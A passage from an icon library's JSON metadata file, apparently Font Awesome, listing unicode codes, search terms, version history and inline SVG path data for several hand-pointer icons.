        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M250.8 1.4c-35.2-3.7-66.6 21.8-70.3 57L174 119 156.7 69.6C145 36.3 108.4 18.8 75.1 30.5S24.2 78.8 35.9 112.1L88.7 262.2C73.5 276.7 64 297.3 64 320v0 24c0 92.8 75.2 168 168 168h48c92.8 0 168-75.2 168-168V272 256 224c0-35.3-28.7-64-64-64c-7.9 0-15.4 1.4-22.4 4c-10.4-21.3-32.3-36-57.6-36c-.7 0-1.5 0-2.2 0l5.9-56.3c3.7-35.2-21.8-66.6-57-70.3zm-.2 155.4C243.9 166.9 240 179 240 192v48c0 .7 0 1.4 0 2c-5.1-1.3-10.5-2-16-2h-7.4l-5.4-15.3 17-161.3c.9-8.8 8.8-15.2 17.6-14.2s15.2 8.8 14.2 17.6l-9.5 90.1zM111.4 85.6L165.7 240H144c-4 0-8 .3-11.9 .9L81.2 96.2c-2.9-8.3 1.5-17.5 9.8-20.4s17.5 1.5 20.4 9.8zM288 192c0-8.8 7.2-16 16-16s16 7.2 16 16v32 16c0 8.8-7.2 16-16 16s-16-7.2-16-16V192zm38.4 108c10.4 21.3 32.3 36 57.6 36c5.5 0 10.9-.7 16-2v10c0 66.3-53.7 120-120 120H232c-66.3 0-120-53.7-120-120l0-24 0 0c0-17.7 14.3-32 32-32h80c8.8 0 16 7.2 16 16s-7.2 16-16 16H184c-13.3 0-24 10.7-24 24s10.7 24 24 24h40c35.3 0 64-28.7 64-64c0-.7 0-1.4 0-2c5.1 1.3 10.5 2 16 2c7.9 0 15.4-1.4 22.4-4zM400 272c0 8.8-7.2 16-16 16s-16-7.2-16-16V240 224c0-8.8 7.2-16 16-16s16 7.2 16 16v32 16z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M250.8 1.4c-35.2-3.7-66.6 21.8-70.3 57L174 119 156.7 69.6C145 36.3 108.4 18.8 75.1 30.5S24.2 78.8 35.9 112.1L88.7 262.2C73.5 276.7 64 297.3 64 320v0 24c0 92.8 75.2 168 168 168h48c92.8 0 168-75.2 168-168V272 256 224c0-35.3-28.7-64-64-64c-7.9 0-15.4 1.4-22.4 4c-10.4-21.3-32.3-36-57.6-36c-.7 0-1.5 0-2.2 0l5.9-56.3c3.7-35.2-21.8-66.6-57-70.3zm-.2 155.4C243.9 166.9 240 179 240 192v48c0 .7 0 1.4 0 2c-5.1-1.3-10.5-2-16-2h-7.4l-5.4-15.3 17-161.3c.9-8.8 8.8-15.2 17.6-14.2s15.2 8.8 14.2 17.6l-9.5 90.1zM111.4 85.6L165.7 240H144c-4 0-8 .3-11.9 .9L81.2 96.2c-2.9-8.3 1.5-17.5 9.8-20.4s17.5 1.5 20.4 9.8zM288 192c0-8.8 7.2-16 16-16s16 7.2 16 16v32 16c0 8.8-7.2 16-16 16s-16-7.2-16-16V192zm38.4 108c10.4 21.3 32.3 36 57.6 36c5.5 0 10.9-.7 16-2v10c0 66.3-53.7 120-120 120H232c-66.3 0-120-53.7-120-120l0-24 0 0c0-17.7 14.3-32 32-32h80c8.8 0 16 7.2 16 16s-7.2 16-16 16H184c-13.3 0-24 10.7-24 24s10.7 24 24 24h40c35.3 0 64-28.7 64-64c0-.7 0-1.4 0-2c5.1 1.3 10.5 2 16 2c7.9 0 15.4-1.4 22.4-4zM400 272c0 8.8-7.2 16-16 16s-16-7.2-16-16V240 224c0-8.8 7.2-16 16-16s16 7.2 16 16v32 16z"
      }
    },
    "free": ["regular", "solid"]
  },
  "hand-point-down": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0a7"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["finger", "hand-o-down", "point"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f0a7",
    "label": "Hand Point Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M32 480c0 17.7 14.3 32 32 32s32-14.3 32-32V272H32V480zM224 320c0 17.7 14.3 32 32 32s32-14.3 32-32V256c0-17.7-14.3-32-32-32s-32 14.3-32 32v64zm-64 64c17.7 0 32-14.3 32-32V304c0-17.7-14.3-32-32-32s-32 14.3-32 32v48c0 17.7 14.3 32 32 32zm160-96c0 17.7 14.3 32 32 32s32-14.3 32-32V224c0-17.7-14.3-32-32-32s-32 14.3-32 32v64zm-96-88l0 .6c9.4-5.4 20.3-8.6 32-8.6c13.2 0 25.4 4 35.6 10.8c8.7-24.9 32.5-42.8 60.4-42.8c11.7 0 22.6 3.1 32 8.6V160C384 71.6 312.4 0 224 0H162.3C119.8 0 79.1 16.9 49.1 46.9L37.5 58.5C13.5 82.5 0 115.1 0 149v27c0 35.3 28.7 64 64 64h88c22.1 0 40-17.9 40-40s-17.9-40-40-40H96c-8.8 0-16-7.2-16-16s7.2-16 16-16h56c39.8 0 72 32.2 72 72z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M32 480c0 17.7 14.3 32 32 32s32-14.3 32-32V272H32V480zM224 320c0 17.7 14.3 32 32 32s32-14.3 32-32V256c0-17.7-14.3-32-32-32s-32 14.3-32 32v64zm-64 64c17.7 0 32-14.3 32-32V304c0-17.7-14.3-32-32-32s-32 14.3-32 32v48c0 17.7 14.3 32 32 32zm160-96c0 17.7 14.3 32 32 32s32-14.3 32-32V224c0-17.7-14.3-32-32-32s-32 14.3-32 32v64zm-96-88l0 .6c9.4-5.4 20.3-8.6 32-8.6c13.2 0 25.4 4 35.6 10.8c8.7-24.9 32.5-42.8 60.4-42.8c11.7 0 22.6 3.1 32 8.6V160C384 71.6 312.4 0 224 0H162.3C119.8 0 79.1 16.9 49.1 46.9L37.5 58.5C13.5 82.5 0 115.1 0 149v27c0 35.3 28.7 64 64 64h88c22.1 0 40-17.9 40-40s-17.9-40-40-40H96c-8.8 0-16-7.2-16-16s7.2-16 16-16h56c39.8 0 72 32.2 72 72z"
      },
      "regular": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 448l0-177.6c5.2 1 10.5 1.6 16 1.6l16 0 0 32 0 144c0 8.8-7.2 16-16 16s-16-7.2-16-16zM80 224c-17.7 0-32-14.3-32-32c0 0 0 0 0 0l0-24c0-66.3 53.7-120 120-120l48 0c52.5 0 97.1 33.7 113.4 80.7c-3.1-.5-6.2-.7-9.4-.7c-20 0-37.9 9.2-49.7 23.6c-9-4.9-19.4-7.6-30.3-7.6c-15.1 0-29 5.3-40 14c-11-8.8-24.9-14-40-14l-40 0c-13.3 0-24 10.7-24 24s10.7 24 24 24l40 0c8.8 0 16 7.2 16 16s-7.2 16-16 16l-40 0-40 0zM0 192s0 0 0 0c0 18 6 34.6 16 48l0 208c0 35.3 28.7 64 64 64s64-28.7 64-64l0-82c5.1 1.3 10.5 2 16 2c25.3 0 47.2-14.7 57.6-36c7 2.6 14.5 4 22.4 4c20 0 37.9-9.2 49.7-23.6c9 4.9 19.4 7.6 30.3 7.6c35.3 0 64-28.7 64-64l0-64 0-24C384 75.2 308.8 0 216 0L168 0C75.2 0 0 75.2 0 168l0 24zm336 64c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-48 0-16c0-8.8 7.2-16 16-16s16 7.2 16 16l0 64zM160 272c5.5 0 10.9-.7 16-2l0 2 0 32c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-32 16 0zm64-24l0-40c0-8.8 7.2-16 16-16s16 7.2 16 16l0 48 0 16c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-24z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 448l0-177.6c5.2 1 10.5 1.6 16 1.6l16 0 0 32 0 144c0 8.8-7.2 16-16 16s-16-7.2-16-16zM80 224c-17.7 0-32-14.3-32-32c0 0 0 0 0 0l0-24c0-66.3 53.7-120 120-120l48 0c52.5 0 97.1 33.7 113.4 80.7c-3.1-.5-6.2-.7-9.4-.7c-20 0-37.9 9.2-49.7 23.6c-9-4.9-19.4-7.6-30.3-7.6c-15.1 0-29 5.3-40 14c-11-8.8-24.9-14-40-14l-40 0c-13.3 0-24 10.7-24 24s10.7 24 24 24l40 0c8.8 0 16 7.2 16 16s-7.2 16-16 16l-40 0-40 0zM0 192s0 0 0 0c0 18 6 34.6 16 48l0 208c0 35.3 28.7 64 64 64s64-28.7 64-64l0-82c5.1 1.3 10.5 2 16 2c25.3 0 47.2-14.7 57.6-36c7 2.6 14.5 4 22.4 4c20 0 37.9-9.2 49.7-23.6c9 4.9 19.4 7.6 30.3 7.6c35.3 0 64-28.7 64-64l0-64 0-24C384 75.2 308.8 0 216 0L168 0C75.2 0 0 75.2 0 168l0 24zm336 64c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-48 0-16c0-8.8 7.2-16 16-16s16 7.2 16 16l0 64zM160 272c5.5 0 10.9-.7 16-2l0 2 0 32c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-32 16 0zm64-24l0-40c0-8.8 7.2-16 16-16s16 7.2 16 16l0 48 0 16c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-24z"
      }
    },
    "free": ["regular", "solid"]
  },
  "hand-point-left": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0a5"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": ["back", "finger", "hand-o-left", "left", "point", "previous"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f0a5",
    "label": "Hand Point Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M32 96C14.3 96 0 110.3 0 128s14.3 32 32 32l208 0 0-64L32 96zM192 288c-17.7 0-32 14.3-32 32s14.3 32 32 32l64 0c17.7 0 32-14.3 32-32s-14.3-32-32-32l-64 0zm-64-64c0 17.7 14.3 32 32 32l48 0c17.7 0 32-14.3 32-32s-14.3-32-32-32l-48 0c-17.7 0-32 14.3-32 32zm96 160c-17.7 0-32 14.3-32 32s14.3 32 32 32l64 0c17.7 0 32-14.3 32-32s-14.3-32-32-32l-64 0zm88-96l-.6 0c5.4 9.4 8.6 20.3 8.6 32c0 13.2-4 25.4-10.8 35.6c24.9 8.7 42.8 32.5 42.8 60.4c0 11.7-3.1 22.6-8.6 32l8.6 0c88.4 0 160-71.6 160-160l0-61.7c0-42.4-16.9-83.1-46.9-113.1l-11.6-11.6C429.5 77.5 396.9 64 363 64l-27 0c-35.3 0-64 28.7-64 64l0 88c0 22.1 17.9 40 40 40s40-17.9 40-40l0-56c0-8.8 7.2-16 16-16s16 7.2 16 16l0 56c0 39.8-32.2 72-72 72z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M32 96C14.3 96 0 110.3 0 128s14.3 32 32 32l208 0 0-64L32 96zM192 288c-17.7 0-32 14.3-32 32s14.3 32 32 32l64 0c17.7 0 32-14.3 32-32s-14.3-32-32-32l-64 0zm-64-64c0 17.7 14.3 32 32 32l48 0c17.7 0 32-14.3 32-32s-14.3-32-32-32l-48 0c-17.7 0-32 14.3-32 32zm96 160c-17.7 0-32 14.3-32 32s14.3 32 32 32l64 0c17.7 0 32-14.3 32-32s-14.3-32-32-32l-64 0zm88-96l-.6 0c5.4 9.4 8.6 20.3 8.6 32c0 13.2-4 25.4-10.8 35.6c24.9 8.7 42.8 32.5 42.8 60.4c0 11.7-3.1 22.6-8.6 32l8.6 0c88.4 0 160-71.6 160-160l0-61.7c0-42.4-16.9-83.1-46.9-113.1l-11.6-11.6C429.5 77.5 396.9 64 363 64l-27 0c-35.3 0-64 28.7-64 64l0 88c0 22.1 17.9 40 40 40s40-17.9 40-40l0-56c0-8.8 7.2-16 16-16s16 7.2 16 16l0 56c0 39.8-32.2 72-72 72z"
      },
      "regular": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 128l177.6 0c-1 5.2-1.6 10.5-1.6 16l0 16-32 0L64 160c-8.8 0-16-7.2-16-16s7.2-16 16-16zm224 16c0-17.7 14.3-32 32-32c0 0 0 0 0 0l24 0c66.3 0 120 53.7 120 120l0 48c0 52.5-33.7 97.1-80.7 113.4c.5-3.1 .7-6.2 .7-9.4c0-20-9.2-37.9-23.6-49.7c4.9-9 7.6-19.4 7.6-30.3c0-15.1-5.3-29-14-40c8.8-11 14-24.9 14-40l0-40c0-13.3-10.7-24-24-24s-24 10.7-24 24l0 40c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-40 0-40zm32-80s0 0 0 0c-18 0-34.6 6-48 16L64 80C28.7 80 0 108.7 0 144s28.7 64 64 64l82 0c-1.3 5.1-2 10.5-2 16c0 25.3 14.7 47.2 36 57.6c-2.6 7-4 14.5-4 22.4c0 20 9.2 37.9 23.6 49.7c-4.9 9-7.6 19.4-7.6 30.3c0 35.3 28.7 64 64 64l64 0 24 0c92.8 0 168-75.2 168-168l0-48c0-92.8-75.2-168-168-168l-24 0zM256 400c-8.8 0-16-7.2-16-16s7.2-16 16-16l48 0 16 0c8.8 0 16 7.2 16 16s-7.2 16-16 16l-64 0zM240 224c0 5.5 .7 10.9 2 16l-2 0-32 0c-8.8 0-16-7.2-16-16s7.2-16 16-16l32 0 0 16zm24 64l40 0c8.8 0 16 7.2 16 16s-7.2 16-16 16l-48 0-16 0c-8.8 0-16-7.2-16-16s7.2-16 16-16l24 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 128l177.6 0c-1 5.2-1.6 10.5-1.6 16l0 16-32 0L64 160c-8.8 0-16-7.2-16-16s7.2-16 16-16zm224 16c0-17.7 14.3-32 32-32c0 0 0 0 0 0l24 0c66.3 0 120 53.7 120 120l0 48c0 52.5-33.7 97.1-80.7 113.4c.5-3.1 .7-6.2 .7-9.4c0-20-9.2-37.9-23.6-49.7c4.9-9 7.6-19.4 7.6-30.3c0-15.1-5.3-29-14-40c8.8-11 14-24.9 14-40l0-40c0-13.3-10.7-24-24-24s-24 10.7-24 24l0 40c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-40 0-40zm32-80s0 0 0 0c-18 0-34.6 6-48 16L64 80C28.7 80 0 108.7 0 144s28.7 64 64 64l82 0c-1.3 5.1-2 10.5-2 16c0 25.3 14.7 47.2 36 57.6c-2.6 7-4 14.5-4 22.4c0 20 9.2 37.9 23.6 49.7c-4.9 9-7.6 19.4-7.6 30.3c0 35.3 28.7 64 64 64l64 0 24 0c92.8 0 168-75.2 168-168l0-48c0-92.8-75.2-168-168-168l-24 0zM256 400c-8.8 0-16-7.2-16-16s7.2-16 16-16l48 0 16 0c8.8 0 16 7.2 16 16s-7.2 16-16 16l-64 0zM240 224c0 5.5 .7 10.9 2 16l-2 0-32 0c-8.8 0-16-7.2-16-16s7.2-16 16-16l32 0 0 16zm24 64l40 0c8.8 0 16 7.2 16 16s-7.2 16-16 16l-48 0-16 0c-8.8 0-16-7.2-16-16s7.2-16 16-16l24 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "hand-point-right": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0a4"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": ["finger", "forward", "hand-o-right", "next", "point", "right"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f0a4",
    "label": "Hand Point Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M480 96c17.7 0 32 14.3 32 32s-14.3 32-32 32l-208 0 0-64 208 0zM320 288c17.7 0 32 14.3 32 32s-14.3 32-32 32l-64 0c-17.7 0-32-14.3-32-32s14.3-32 32-32l64 0zm64-64c0 17.7-14.3 32-32 32l-48 0c-17.7 0-32-14.3-32-32s14.3-32 32-32l48 0c17.7 0 32 14.3 32 32zM288 384c17.7 0 32 14.3 32 32s-14.3 32-32 32l-64 0c-17.7 0-32-14.3-32-32s14.3-32 32-32l64 0zm-88-96l.6 0c-5.4 9.4-8.6 20.3-8.6 32c0 13.2 4 25.4 10.8 35.6C177.9 364.3 160 388.1 160 416c0 11.7 3.1 22.6 8.6 32l-8.6 0C71.6 448 0 376.4 0 288l0-61.7c0-42.4 16.9-83.1 46.9-113.1l11.6-11.6C82.5 77.5 115.1 64 149 64l27 0c35.3 0 64 28.7 64 64l0 88c0 22.1-17.9 40-40 40s-40-17.9-40-40l0-56c0-8.8-7.2-16-16-16s-16 7.2-16 16l0 56c0 39.8 32.2 72 72 72z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M480 96c17.7 0 32 14.3 32 32s-14.3 32-32 32l-208 0 0-64 208 0zM320 288c17.7 0 32 14.3 32 32s-14.3 32-32 32l-64 0c-17.7 0-32-14.3-32-32s14.3-32 32-32l64 0zm64-64c0 17.7-14.3 32-32 32l-48 0c-17.7 0-32-14.3-32-32s14.3-32 32-32l48 0c17.7 0 32 14.3 32 32zM288 384c17.7 0 32 14.3 32 32s-14.3 32-32 32l-64 0c-17.7 0-32-14.3-32-32s14.3-32 32-32l64 0zm-88-96l.6 0c-5.4 9.4-8.6 20.3-8.6 32c0 13.2 4 25.4 10.8 35.6C177.9 364.3 160 388.1 160 416c0 11.7 3.1 22.6 8.6 32l-8.6 0C71.6 448 0 376.4 0 288l0-61.7c0-42.4 16.9-83.1 46.9-113.1l11.6-11.6C82.5 77.5 115.1 64 149 64l27 0c35.3 0 64 28.7 64 64l0 88c0 22.1-17.9 40-40 40s-40-17.9-40-40l0-56c0-8.8-7.2-16-16-16s-16 7.2-16 16l0 56c0 39.8 32.2 72 72 72z"
      },
      "regular": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M448 128l-177.6 0c1 5.2 1.6 10.5 1.6 16l0 16 32 0 144 0c8.8 0 16-7.2 16-16s-7.2-16-16-16zM224 144c0-17.7-14.3-32-32-32c0 0 0 0 0 0l-24 0c-66.3 0-120 53.7-120 120l0 48c0 52.5 33.7 97.1 80.7 113.4c-.5-3.1-.7-6.2-.7-9.4c0-20 9.2-37.9 23.6-49.7c-4.9-9-7.6-19.4-7.6-30.3c0-15.1 5.3-29 14-40c-8.8-11-14-24.9-14-40l0-40c0-13.3 10.7-24 24-24s24 10.7 24 24l0 40c0 8.8 7.2 16 16 16s16-7.2 16-16l0-40 0-40zM192 64s0 0 0 0c18 0 34.6 6 48 16l208 0c35.3 0 64 28.7 64 64s-28.7 64-64 64l-82 0c1.3 5.1 2 10.5 2 16c0 25.3-14.7 47.2-36 57.6c2.6 7 4 14.5 4 22.4c0 20-9.2 37.9-23.6 49.7c4.9 9 7.6 19.4 7.6 30.3c0 35.3-28.7 64-64 64l-64 0-24 0C75.2 448 0 372.8 0 280l0-48C0 139.2 75.2 64 168 64l24 0zm64 336c8.8 0 16-7.2 16-16s-7.2-16-16-16l-48 0-16 0c-8.8 0-16 7.2-16 16s7.2 16 16 16l64 0zm16-176c0 5.5-.7 10.9-2 16l2 0 32 0c8.8 0 16-7.2 16-16s-7.2-16-16-16l-32 0 0 16zm-24 64l-40 0c-8.8 0-16 7.2-16 16s7.2 16 16 16l48 0 16 0c8.8 0 16-7.2 16-16s-7.2-16-16-16l-24 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M448 128l-177.6 0c1 5.2 1.6 10.5 1.6 16l0 16 32 0 144 0c8.8 0 16-7.2 16-16s-7.2-16-16-16zM224 144c0-17.7-14.3-32-32-32c0 0 0 0 0 0l-24 0c-66.3 0-120 53.7-120 120l0 48c0 52.5 33.7 97.1 80.7 113.4c-.5-3.1-.7-6.2-.7-9.4c0-20 9.2-37.9 23.6-49.7c-4.9-9-7.6-19.4-7.6-30.3c0-15.1 5.3-29 14-40c-8.8-11-14-24.9-14-40l0-40c0-13.3 10.7-24 24-24s24 10.7 24 24l0 40c0 8.8 7.2 16 16 16s16-7.2 16-16l0-40 0-40zM192 64s0 0 0 0c18 0 34.6 6 48 16l208 0c35.3 0 64 28.7 64 64s-28.7 64-64 64l-82 0c1.3 5.1 2 10.5 2 16c0 25.3-14.7 47.2-36 57.6c2.6 7 4 14.5 4 22.4c0 20-9.2 37.9-23.6 49.7c4.9 9 7.6 19.4 7.6 30.3c0 35.3-28.7 64-64 64l-64 0-24 0C75.2 448 0 372.8 0 280l0-48C0 139.2 75.2 64 168 64l24 0zm64 336c8.8 0 16-7.2 16-16s-7.2-16-16-16l-48 0-16 0c-8.8 0-16 7.2-16 16s7.2 16 16 16l64 0zm16-176c0 5.5-.7 10.9-2 16l2 0 32 0c8.8 0 16-7.2 16-16s-7.2-16-16-16l-32 0 0 16zm-24 64l-40 0c-8.8 0-16 7.2-16 16s7.2 16 16 16l48 0 16 0c8.8 0 16-7.2 16-16s-7.2-16-16-16l-24 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "hand-point-up": {
    "aliases": {
      "unicodes": {
        "composite": ["261d"],
        "secondary": ["10f0a6"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "finger",
        "hand",
        "hand-o-up",
        "index",
        "index pointing up",
        "point",
        "up"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f0a6",
    "label": "Hand Point Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M32 32C32 14.3 46.3 0 64 0S96 14.3 96 32V240H32V32zM224 192c0-17.7 14.3-32 32-32s32 14.3 32 32v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V192zm-64-64c17.7 0 32 14.3 32 32v48c0 17.7-14.3 32-32 32s-32-14.3-32-32V160c0-17.7 14.3-32 32-32zm160 96c0-17.7 14.3-32 32-32s32 14.3 32 32v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V224zm-96 88l0-.6c9.4 5.4 20.3 8.6 32 8.6c13.2 0 25.4-4 35.6-10.8c8.7 24.9 32.5 42.8 60.4 42.8c11.7 0 22.6-3.1 32-8.6V352c0 88.4-71.6 160-160 160H162.3c-42.4 0-83.1-16.9-113.1-46.9L37.5 453.5C13.5 429.5 0 396.9 0 363V336c0-35.3 28.7-64 64-64h88c22.1 0 40 17.9 40 40s-17.9 40-40 40H96c-8.8 0-16 7.2-16 16s7.2 16 16 16h56c39.8 0 72-32.2 72-72z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M32 32C32 14.3 46.3 0 64 0S96 14.3 96 32V240H32V32zM224 192c0-17.7 14.3-32 32-32s32 14.3 32 32v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V192zm-64-64c17.7 0 32 14.3 32 32v48c0 17.7-14.3 32-32 32s-32-14.3-32-32V160c0-17.7 14.3-32 32-32zm160 96c0-17.7 14.3-32 32-32s32 14.3 32 32v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V224zm-96 88l0-.6c9.4 5.4 20.3 8.6 32 8.6c13.2 0 25.4-4 35.6-10.8c8.7 24.9 32.5 42.8 60.4 42.8c11.7 0 22.6-3.1 32-8.6V352c0 88.4-71.6 160-160 160H162.3c-42.4 0-83.1-16.9-113.1-46.9L37.5 453.5C13.5 429.5 0 396.9 0 363V336c0-35.3 28.7-64 64-64h88c22.1 0 40 17.9 40 40s-17.9 40-40 40H96c-8.8 0-16 7.2-16 16s7.2 16 16 16h56c39.8 0 72-32.2 72-72z"
      },
      "regular": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 64V241.6c5.2-1 10.5-1.6 16-1.6H96V208 64c0-8.8-7.2-16-16-16s-16 7.2-16 16zM80 288c-17.7 0-32 14.3-32 32c0 0 0 0 0 0v24c0 66.3 53.7 120 120 120h48c52.5 0 97.1-33.7 113.4-80.7c-3.1 .5-6.2 .7-9.4 .7c-20 0-37.9-9.2-49.7-23.6c-9 4.9-19.4 7.6-30.3 7.6c-15.1 0-29-5.3-40-14c-11 8.8-24.9 14-40 14H120c-13.3 0-24-10.7-24-24s10.7-24 24-24h40c8.8 0 16-7.2 16-16s-7.2-16-16-16H120 80zM0 320s0 0 0 0c0-18 6-34.6 16-48V64C16 28.7 44.7 0 80 0s64 28.7 64 64v82c5.1-1.3 10.5-2 16-2c25.3 0 47.2 14.7 57.6 36c7-2.6 14.5-4 22.4-4c20 0 37.9 9.2 49.7 23.6c9-4.9 19.4-7.6 30.3-7.6c35.3 0 64 28.7 64 64v64 24c0 92.8-75.2 168-168 168H168C75.2 512 0 436.8 0 344V320zm336-64c0-8.8-7.2-16-16-16s-16 7.2-16 16v48 16c0 8.8 7.2 16 16 16s16-7.2 16-16V256zM160 240c5.5 0 10.9 .7 16 2v-2V208c0-8.8-7.2-16-16-16s-16 7.2-16 16v32h16zm64 24v40c0 8.8 7.2 16 16 16s16-7.2 16-16V256 240c0-8.8-7.2-16-16-16s-16 7.2-16 16v24z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 64V241.6c5.2-1 10.5-1.6 16-1.6H96V208 64c0-8.8-7.2-16-16-16s-16 7.2-16 16zM80 288c-17.7 0-32 14.3-32 32c0 0 0 0 0 0v24c0 66.3 53.7 120 120 120h48c52.5 0 97.1-33.7 113.4-80.7c-3.1 .5-6.2 .7-9.4 .7c-20 0-37.9-9.2-49.7-23.6c-9 4.9-19.4 7.6-30.3 7.6c-15.1 0-29-5.3-40-14c-11 8.8-24.9 14-40 14H120c-13.3 0-24-10.7-24-24s10.7-24 24-24h40c8.8 0 16-7.2 16-16s-7.2-16-16-16H120 80zM0 320s0 0 0 0c0-18 6-34.6 16-48V64C16 28.7 44.7 0 80 0s64 28.7 64 64v82c5.1-1.3 10.5-2 16-2c25.3 0 47.2 14.7 57.6 36c7-2.6 14.5-4 22.4-4c20 0 37.9 9.2 49.7 23.6c9-4.9 19.4-7.6 30.3-7.6c35.3 0 64 28.7 64 64v64 24c0 92.8-75.2 168-168 168H168C75.2 512 0 436.8 0 344V320zm336-64c0-8.8-7.2-16-16-16s-16 7.2-16 16v48 16c0 8.8 7.2 16 16 16s16-7.2 16-16V256zM160 240c5.5 0 10.9 .7 16 2v-2V208c0-8.8-7.2-16-16-16s-16 7.2-16 16v32h16zm64 24v40c0 8.8 7.2 16 16 16s16-7.2 16-16V256 240c0-8.8-7.2-16-16-16s-16 7.2-16 16v24z"
      }
    },
    "free": ["regular", "solid"]
  },
  "hand-pointer": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f25a"]
      }
    },
    "changes": ["4.4.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "cursor", "select"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f25a",
    "label": "Hand Pointer",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M128 40c0-22.1 17.9-40 40-40s40 17.9 40 40V188.2c8.5-7.6 19.7-12.2 32-12.2c20.6 0 38.2 13 45 31.2c8.8-9.3 21.2-15.2 35-15.2c25.3 0 46 19.5 47.9 44.3c8.5-7.7 19.8-12.3 32.1-12.3c26.5 0 48 21.5 48 48v48 16 48c0 70.7-57.3 128-128 128l-16 0H240l-.1 0h-5.2c-5 0-9.9-.3-14.7-1c-55.3-5.6-106.2-34-140-79L8 336c-13.3-17.7-9.7-42.7 8-56s42.7-9.7 56 8l56 74.7V40zM240 304c0-8.8-7.2-16-16-16s-16 7.2-16 16v96c0 8.8 7.2 16 16 16s16-7.2 16-16V304zm48-16c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16s16-7.2 16-16V304c0-8.8-7.2-16-16-16zm80 16c0-8.8-7.2-16-16-16s-16 7.2-16 16v96c0 8.8 7.2 16 16 16s16-7.2 16-16V304z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
